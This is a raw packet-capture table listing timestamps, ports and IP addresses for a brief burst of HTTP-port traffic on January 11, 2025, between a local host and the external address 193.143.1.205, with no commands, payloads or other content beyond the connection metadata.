Jan 11, 2025 09:14:20.655483007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655489922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655586004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655596972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655709028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655710936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655729055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655755043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.655894995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655906916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.655971050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656014919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656027079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656095028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656146049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656146049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656172991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656184912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656258106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656404972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656418085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656429052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656440973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656460047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656513929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656676054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656687975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656699896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656728029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656799078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656855106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656867981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.656883001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.656903982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657078028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657088995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657100916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657114029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657176018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657176018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657371044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657383919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657396078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657406092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657421112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657430887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657453060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657453060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657484055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657746077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657766104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657778025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657823086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.657974005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657984972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.657995939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.658032894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.658032894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.693535089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693556070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693564892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693614960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.693717003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693733931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693744898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693754911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.693754911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.693839073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.703608036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703659058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703661919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.703670979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703716040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.703825951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703835964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703876019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.703967094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703978062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.703988075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.704039097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.704117060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.704128981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.704169035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.741730928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.741739988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.741750956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.741839886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.741872072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.741883039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.741978884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742028952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742058992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742069960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742175102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742180109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742269039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742280006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742281914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742341995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742350101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742449999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742460966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742532969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742624998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742635965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742676973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742738008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742762089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742773056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742788076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742806911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.742966890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742978096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.742989063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743000984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743036032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743036032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743274927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743285894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743297100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743338108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743383884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743427038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743494034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743505955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743565083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743643999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743655920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743666887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743676901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743694067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743755102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.743930101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743941069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.743999958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744010925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744020939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744026899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744033098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744081020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744081020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744332075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744404078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744415045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744539022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744621992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744632959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744642973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744653940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744671106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744719028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744884968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744895935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744905949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744918108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744930983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744940042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.744949102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744949102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.744987965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.745275021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.745290995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.745351076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.780424118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780450106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780462980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780512094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.780550957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.780606031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780620098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780675888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.780729055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780741930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780848980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.780868053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790332079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790386915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790397882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790436983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790436983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790488958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790499926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790533066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790688992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790699959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790712118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790770054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790884018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790894985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790911913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.790946007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.790946007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.791045904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.791064024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.791073084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.791114092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.828506947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828628063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828639030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828676939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.828680038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828701973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.828763962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828850031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828860998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828871965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.828900099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.828900099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829010963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829021931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829034090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829063892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829063892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829212904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829261065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829277992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829291105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829323053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829323053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829502106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829511881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829523087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829536915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829585075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829585075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829735994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829746962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829757929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829770088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.829786062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.829834938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830023050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830034971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830044985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830054998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830101013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830101013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830183983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830197096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830213070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830224037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830235004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830246925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830271959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830271959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830302954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830480099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830600977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830611944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830621958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830634117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830643892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830646038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830686092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830686092 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830888987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830900908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830910921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830921888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830931902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830943108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830952883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.830974102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.830974102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831383944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831394911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831408024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831418991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831429958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831440926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831449986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831449986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831453085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831465006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831481934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831485033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831494093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831496000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831520081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831839085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831851006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831861973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.831914902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831914902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.831993103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.832004070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.832014084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.832050085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.867127895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867177010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867187023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867223024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.867223024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.867271900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867285967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867338896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.867439985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867450953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867516994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.867592096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867607117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867619991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.867651939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877082109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877130032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877135992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877149105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877232075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877266884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877279997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877321959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877373934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877384901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877428055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877480030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877492905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877579927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877717972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877729893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877753973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877765894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877777100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877779007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877810001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877918005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877929926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877940893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.877985001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.877985001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915324926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915347099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915359974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915457964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915462017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915492058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915524006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915524960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915566921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 09:14:20.915613890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 09:14:20.915626049 CET	80	49705	193.143.1.205	192.168.2.8
